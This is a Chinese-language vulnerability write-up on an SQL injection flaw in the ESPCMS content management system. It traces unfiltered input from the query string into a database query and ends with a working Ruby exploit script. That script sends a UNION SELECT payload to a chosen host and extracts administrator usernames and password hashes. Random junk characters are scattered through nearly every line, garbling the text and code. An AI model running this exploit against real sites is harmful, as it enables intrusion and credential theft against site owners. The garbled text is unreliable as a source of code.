0×0 漏洞概述0×1 漏洞细节
2 _' c! @3 Q( V0×2 PoC
) j# }! k8 I$ U" J- G1 {
6 r# k0 C @! l7 L" k. g3 q1 C* }9 ^0 m0 F5 t9 W
4 h" H8 I' i, G0×0 漏洞概述
3 h5 C8 l& q+ }. {
# ?9 o0 x5 e' S易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。' T& E/ B7 {0 m; y, ?- A$ v3 _3 `
其在处理传入的参数时考虑不严谨导致SQL注入发生
& {$ |2 H+ R3 u5 j' _
+ N- Q8 a/ _$ S, W3 }, r9 q8 F( q5 P
4 ^/ g* X. b$ K9 \0×1 漏洞细节
7 b: V$ A6 f; Q4 r4 @; H' |
3 s/ h$ U3 F/ \变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
6 {' t4 c( t/ Y! J1 q2 C% I$ z9 R正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
# e1 f8 e2 k1 L" p& y而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。& U4 d9 p: F2 K( G
0 V: @- o, A. a在/interface/3gwap_search.php文件的in_result函数中:
O8 q6 A8 L. f+ v3 a1 |
( z ~5 \ e7 @4 c+ H0 J* S9 G
# Q1 C' Y$ r7 A v. X8 V. h; g: A3 i4 j2 Z9 L- k# T# o( k) L' n
function in_result() {' a" a I& s, K- v G6 u' @$ {
... ... ... ... ... ... ... ... ...
) ?( j( V* J$ F* R $urlcode = $_SERVER[ 'QUERY_STRING '];0 b- g# G! m0 h" f8 B8 p; d
parse_str(html_entity_decode($urlcode), $output);
5 w( m U7 }) U6 y% T% l/ N
" `8 \3 _( x- ~2 Y" o5 T ... ... ... ... ... ... ... ... ...
2 c( R) M$ a1 B& S- c& [ if (is_array($output['attr' ]) && count($output['attr']) > 0) {
F! H. F: n0 f' \% k, J D( A( `' \+ W& n
$db_table = db_prefix . 'model_att';4 a$ r" s7 c( S& H& w# S" H! Y
, J! n( n7 d" h/ L* c5 y5 }0 \
foreach ($output['attr' ] as $key => $value) {
" Y9 P k8 g, Y' G: o& E l if ($value) {: x/ ?9 O6 j5 u% t Y6 I! w: v
8 }) g0 ?" l! h. z $key = addslashes($key);5 ^" L' _5 ?% F. ?( g1 v
$key = $this-> fun->inputcodetrim($key);$ z1 @7 s- a) l+ @$ B
$db_att_where = " WHERE isclass=1 AND attrname='$key'";* d- U* Q- e# b$ o( K
$countnum = $this->db_numrows($db_table, $db_att_where);
$ W9 ~2 x. x# l+ Y1 [, G) x M& c if ($countnum > 0) {
, H$ L" e+ w$ B; N4 p $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
) F. ?/ Z5 A, Y/ A }
( W" `/ ]( Z8 @$ }& Q6 V4 Y# p. u }
9 N! y5 q* m; S5 I# E) Y5 b }0 `. B7 ^ |! H8 F
}
/ P r: r6 g, j8 M2 v; z% A/ V4 g if (!empty ($keyword) && empty($keyname)) {
. H( e/ w. s: q+ f $keyname = 'title';
* \* C6 ~* J& Q0 c" o $db_where.= " AND a.title like '%$keyword%'" ; W" P8 a1 N6 X& a( v
} elseif (!empty ($keyword) && !empty($keyname)) { z, r4 k7 n* ~8 s2 E3 J$ A0 Y5 L
$db_where.= " AND $keyname like '% $keyword%'";4 e) I' y* Q9 t" i" B% W
}; K; v+ @& D; _/ E9 S
$pagemax = 15; H, H, I# R, C! B
% F4 z- e2 v" d- x4 H% E, V
$pagesylte = 1;9 ^. F& A% {, r1 E
8 _1 J+ Y% {" u: t, K1 e0 m# w
if ($countnum > 0) {
4 F* ^9 W% v* e r, v% H8 L) n q/ i9 ?" _5 t V$ E
$numpage = ceil($countnum / $pagemax);
# H: X/ `# W6 T9 f/ {' O } else {) ]. \7 h D9 V2 h0 a, Z0 H) u
$numpage = 1;
4 n9 E/ o' X/ ?8 Y# F! {6 z }
! l( H& F4 i6 r) a. |% b# I3 V $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;1 i6 t$ k+ T o. s4 @7 ~& A& V
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);3 s% E6 X. @# R+ s
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);. _! A1 M0 ]+ N& u) a0 ]
... ... ... ... ... ... ... ... ...
X' _' s4 C& u7 I7 A6 t7 x5 c }3 t5 Z4 e& Q# Z# I. E' G* f
1 b9 m [* L) G( h& s
; T: ?" \" g# @, h; f
0×2 PoC! y2 K8 ~8 U5 C# {9 O
u) |& G: G7 d0 M1 L. B8 _' _' N& j5 j3 R8 V$ F
1 {" c0 O& }6 x6 |9 E" L/ t Q
require "net/http"9 s# G0 b6 S: L
8 _4 j. |7 H: G+ j5 t. M" T% s( ]
def request(method, url)1 z' M( Z5 K4 @" W- l9 ~
if method.eql?("get")
2 C/ L( d8 U7 A# z8 G( W+ j; d uri = URI.parse(url)
5 @9 |, X: ^* u, E* e( P http = Net::HTTP.new(uri.host, uri.port)4 j+ L' }( I0 A( \2 |+ R7 E
response = http.request(Net::HTTP::Get.new(uri.request_uri))
2 a; M8 m/ l: Y1 A, { return response
/ y' Z6 u. D7 t$ K, K9 X& g4 O! N6 \ end
" r# |" g) O% yend( {) U. V0 x7 l- \
4 Y3 k& ^( i* K6 b! Q/ X8 q- ~1 {% d. t
doc =<<HERE
" p# C- O4 h# h8 n. V; E. a) v% [-------------------------------------------------------9 q7 ?) P2 p- F, L
Espcms Injection Exploit
- ?1 c9 x( w6 u9 OAuthor:ztz; R. T- O, O8 E% K5 I, R
Blog:http://ztz.fuzzexp.org/
( H! ~. L$ e9 K, Y9 H-------------------------------------------------------5 X: D9 A$ K8 i) A% D/ V
: t @" Y' |. a) o& fHERE
* \; C- I( k1 i7 p: B, u8 b
+ V* @/ d1 Z- F% l' Xusage =<<HERE
5 j0 J- T6 p, n; ?1 gUsage: ruby #{$0} host port path
* v1 u, B" I# [4 V0 t8 {, B# kexample: ruby #{$0} www.target.com 80 /7 J6 Q( J5 _6 H+ c6 p% \
HERE
. {+ l8 I- c- O
4 O9 h# O4 s" d# r T) e* Hputs doc
+ p) Q% R# ~4 {- G% Kif ARGV.length < 3+ j) o" Y+ p; \/ y1 E
puts usage
6 c9 x( W" |* x1 qelse5 T9 j& q5 X6 v& }8 Q1 T' ~4 s
$host = ARGV[0]
5 m0 y! k; M# g* c $port = ARGV[1]
8 P+ j$ |. Y4 k0 `; {: [ $path = ARGV[2]& }. f! C2 V2 l
5 ^1 k* n0 C0 K' U! ~
puts "send request..."- }2 E+ h) e5 w% L8 z
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&1 h! t) F" Q9 ?& |: W0 x ^
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
0 V. H- D8 _, S, u,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
0 A* t$ S) I: E% _, a- j% X,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"" g) Q/ n7 m/ ^' d9 S
response = request("get", url)# F4 k8 J. z* O
result = response.body.scan(/\w+&\w{32}/)
4 m! k0 F& `/ W% k5 W: T puts result
* @4 q; f: b# k% Wend( f! D5 g. J4 P0 J m* {1 Y
5 r& y, R9 ]" Q) N, F0 x8 b9 r
|